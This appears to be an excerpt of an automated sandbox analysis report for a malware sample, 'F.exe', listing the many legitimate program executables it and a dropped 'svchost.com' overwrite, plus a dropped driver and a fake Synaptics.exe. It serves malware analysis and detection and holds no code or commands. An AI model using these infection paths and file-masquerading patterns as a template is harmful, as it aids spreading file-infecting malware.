Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe	Jump to behavior

Sample is not signed and drops a device driver

Source: C:\Windows\svchost.com

File created: C:\Windows\directx.sys

Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Windows\svchost.com	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\BJZFPPWAPT\~$cache1	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
